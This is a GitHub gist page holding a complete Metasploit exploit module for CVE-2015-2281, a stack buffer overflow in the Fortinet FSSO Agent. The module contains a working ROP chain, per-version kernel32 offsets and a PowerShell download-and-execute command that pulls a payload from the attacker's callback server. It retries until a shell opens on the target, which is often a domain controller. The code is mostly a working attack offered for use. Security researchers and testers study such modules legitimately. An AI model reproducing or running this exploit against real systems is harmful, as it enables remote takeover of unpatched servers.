Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
Fortinet FSSO Stack Buffer Overflow Exploit
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info, {
'Name' => 'Fortinet FSSO Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow on the Fortinet FSSO Agent using
the Fortgate protocol on TCP port 8000. This agent often runs with
administrative privileges on a domain controller or member server.
Tested with versions 4.3.0124 through 4.3.0143 running on Windows Server 2008
R2 SP1 and Windows Server 2012 R2.
If the version of Windows being targeted is not on the kernel32_versions list,
you can calculate the offset manually. Use pedump (Ruby gem) to export the
address of WinExec and GetTimeZoneInformation, then take the WinExec address
and subtract the address of GetTimeZoneInformation. Finally, perform a binary
1s compliment. This is the "magic value" (delta) that should be used in the
ROP chain.
The service will automatically restarts if it crashes, so you get as many tries
as you need to get a shell.
},
'License' => MSF_LICENSE,
'Author' => [
'phikshun', # wrote Poc exploit
'Enrique Nissim' # original discovery
],
'References' =>
[
['CVE', '2015-2281'],
['URL', 'https://blog.coresecurity.com/2015/03/18/analysis-of-a-remote-code-execution-vulnerability-on-fortinet-single-sign-on/'],
['URL', 'http://www.coresecurity.com/advisories/fortinet-single-sign-on-stack-overflow']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { 'Arch' => ARCH_X86 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 29 2015'
}))
register_options(
[
Opt::RPORT(8000),
OptString.new('URIPATH', [false, 'Callback URL', '/p'])
], self.class
)
register_advanced_options(
[
OptString.new('PSH_URL', [false, 'Alternate URL to use for powershell download']),
OptString.new('KERNEL32_VER', [false, 'SysWow64/kernel32.dll version'])
], self.class
)
end
def on_request_uri(cli, request)
print_status("Delivering Payload")
psh = Msf::Util::EXE.to_win32pe_psh_net(framework, payload.encoded)
send_response(cli, psh, { 'Content-Type' => 'application/octet-stream' })
end
def send_exploit(url, delta)
rop_gadgets =
[
# nopsled
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
# esi = get ptr to winexec
0x1003800f, # POP EBP # RETN
0xffffffff, # -1
0x100274a8, # XOR EAX,EAX # RETN
0x10037fe4, # MUL ECX # RETN 0x10
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10033d87, # POP EAX # RETN [SSLEAY32.dll]
0x100390e8, # SSLEAY32.dll - IAT 0x100390e8 : kernel32.GetTimeZoneInformation
0x100297f4, # ADD EDX,DWORD PTR DS:[EAX] # RETN
0x10033d87, # POP EAX # RETN [SSLEAY32.dll]
delta, # 2's compliment of (&WinExec - &GetTimeZoneInformation)
0x10012d62, # NEG EAX # RETN
0x100104c3, # LEA EBX,DWORD PTR DS:[EAX] # ADD EAX,C0331001 # RETN
0x10037ffe, # ADD EDX,EBX # POP EBX # RETN 0x10
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
0x10033d87, # POP EAX # RETN [SSLEAY32.dll]
0x10045020, # random writeable address
0x10012a36, # LEA ESI,DWORD PTR DS:[EDX+EBP+1] # ADC BYTE PTR DS:[EAX+30],BH # RETN
# edi = rop nop
0x10020d83, # POP EDI # RETN [SSLEAY32.dll]
0x10020d84, # RETN (ROP NOP) [SSLEAY32.dll]
# go!
0x10022e04, # PUSHAD # RETN [SSLEAY32.dll]
].flatten.pack("V*")
# winexec payload
cmd = "powershell -c IEX(new-object net.webclient).downloadstring('#{url}')#"
exploit = "A" * 96 + rop_gadgets + cmd
exploit += "B" * (475 - exploit.length)
buf =
"\x80\x06\x00\x00\x00\x0a\x01\x03\x00\x00\x00\x01" +
"\x00\x00\x00\x0a\x10\x03\x00\x00\x00\x20\x00\x00\x00\x16\x11\x01" +
"\x76\x35\x2e\x30\x2e\x32\x34\x32\x2d\x30\x32\x34\x32\x00\x00\x00" +
[exploit.length + 6].pack('N') + "\x13\x01" + exploit +
"\x00\x00\x00\x16\x12\x01\x37\xfa\x30\x27\x21\x19\x16\xfe\xfa\x07\x92\xe2\xfa" +
"\x04\xc5\xc8"
buf = [buf.length + 4].pack('N') + buf
connect
sock.put(buf)
Rex::ThreadSafe.sleep(1.0)
disconnect
end
def get_callback_url
url = (datastore['SSL'] ? 'https://' : 'http://')
url += (datastore['PSH_URL'] || datastore['LHOST'] || datastore['SRVHOST'])
url += ((datastore['SRVPORT'] == 80 && !datastore['SSL']) ||
(datastore['SRVPORT'] == 443 && datastore['SSL']) ? '' : ":#{datastore['SRVPORT']}" )
url += datastore['URIPATH']
end
def exploit
url = get_callback_url
if url.include? '0.0.0.0'
print_error "URL contains 0.0.0.0 - not a valid callback IP"
return
end
print_status("#{rhost}:#{rport} - Starting up web callback on #{url}")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => datastore['URIPATH']
}})
kernel32_versions = {
# manually generated
'6.3.9600.17415_en' => 0xfffd6150,
'6.3.9600.17056_en' => 0xfffda633,
'6.3.9600.17031_en' => 0xfffda674,
# auto-generated
'6.1.7601.22653_en.a' => 0xfff81491,
'6.1.7601.21772_en.a' => 0xfff819d1,
'6.1.7601.18409_en.a' => 0xfff81631,
'6.1.7601.18229_en.a' => 0xfff819a9,
'6.1.7601.18015_en.a' => 0xfff819b1,
'6.1.7601.17651_en.a' => 0xfff81a09,
'6.1.7601.17514_en.a' => 0xfff81a39,
'6.1.7600.16385_en.b' => 0xfff891db,
'6.1.7600.16385_en.a' => 0xfffafef3,
'6.0.6002.22988_en.a' => 0xfff939ac,
'6.0.6002.22942_en.a' => 0xfff939c4,
'6.0.6002.22625_en.a' => 0xfff92b64,
'6.0.6002.19034_en.a' => 0xfff9bdd4,
'6.0.6002.18740_en.a' => 0xfff927e4,
'6.0.6002.18704_en.a' => 0xfff9280c,
'6.0.6002.18449_en.a' => 0xfff913ac,
'6.0.6002.18005_en.a' => 0xfffaaac0,
'6.0.6002.18005_en.b' => 0xfff931c4,
'6.0.6001.22898_en.a' => 0xfff8f35c,
'6.0.6001.22376_en.a' => 0xfffab7b4,
'6.0.6001.18631_en.a' => 0xfff93f84,
'6.0.6001.18215_en.b' => 0xfff93fc4,
'6.0.6001.18215_en.a' => 0xfffac110,
'6.0.6001.18000_en.a' => 0xfffac228,
'6.0.6001.18000_en.b' => 0xfff9345c,
'5.2.3790.5295_en.b' => 0xfffba135,
'5.2.3790.5295_en.a' => 0xfffd0505,
'5.2.3790.5069_en.a' => 0xfffbb93c,
'5.2.3790.4480_en.c' => 0xfffba884,
'5.2.3790.4480_en.a' => 0xfffbba2c,
'5.2.3790.4062_en.a' => 0xfffbbb64,
'5.2.3790.3959_es.a' => 0xfffbbb5c
}
handler
kernel32_versions.each_pair do |version, delta|
if !datastore['KERNEL32_VER'] || version.include?(datastore['KERNEL32_VER'])
print_status "#{rhost}:#{rport} - Trying kernel32.dll version #{version} with delta 0x#{"%08x" % delta}"
send_exploit(url, delta)
print_status "Waiting 5 seconds for service to respawn"
Rex::ThreadSafe.sleep(5)
break if session_created?
else
print_status "Skipping kernel32.dll version #{version} (not matched)"
end
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment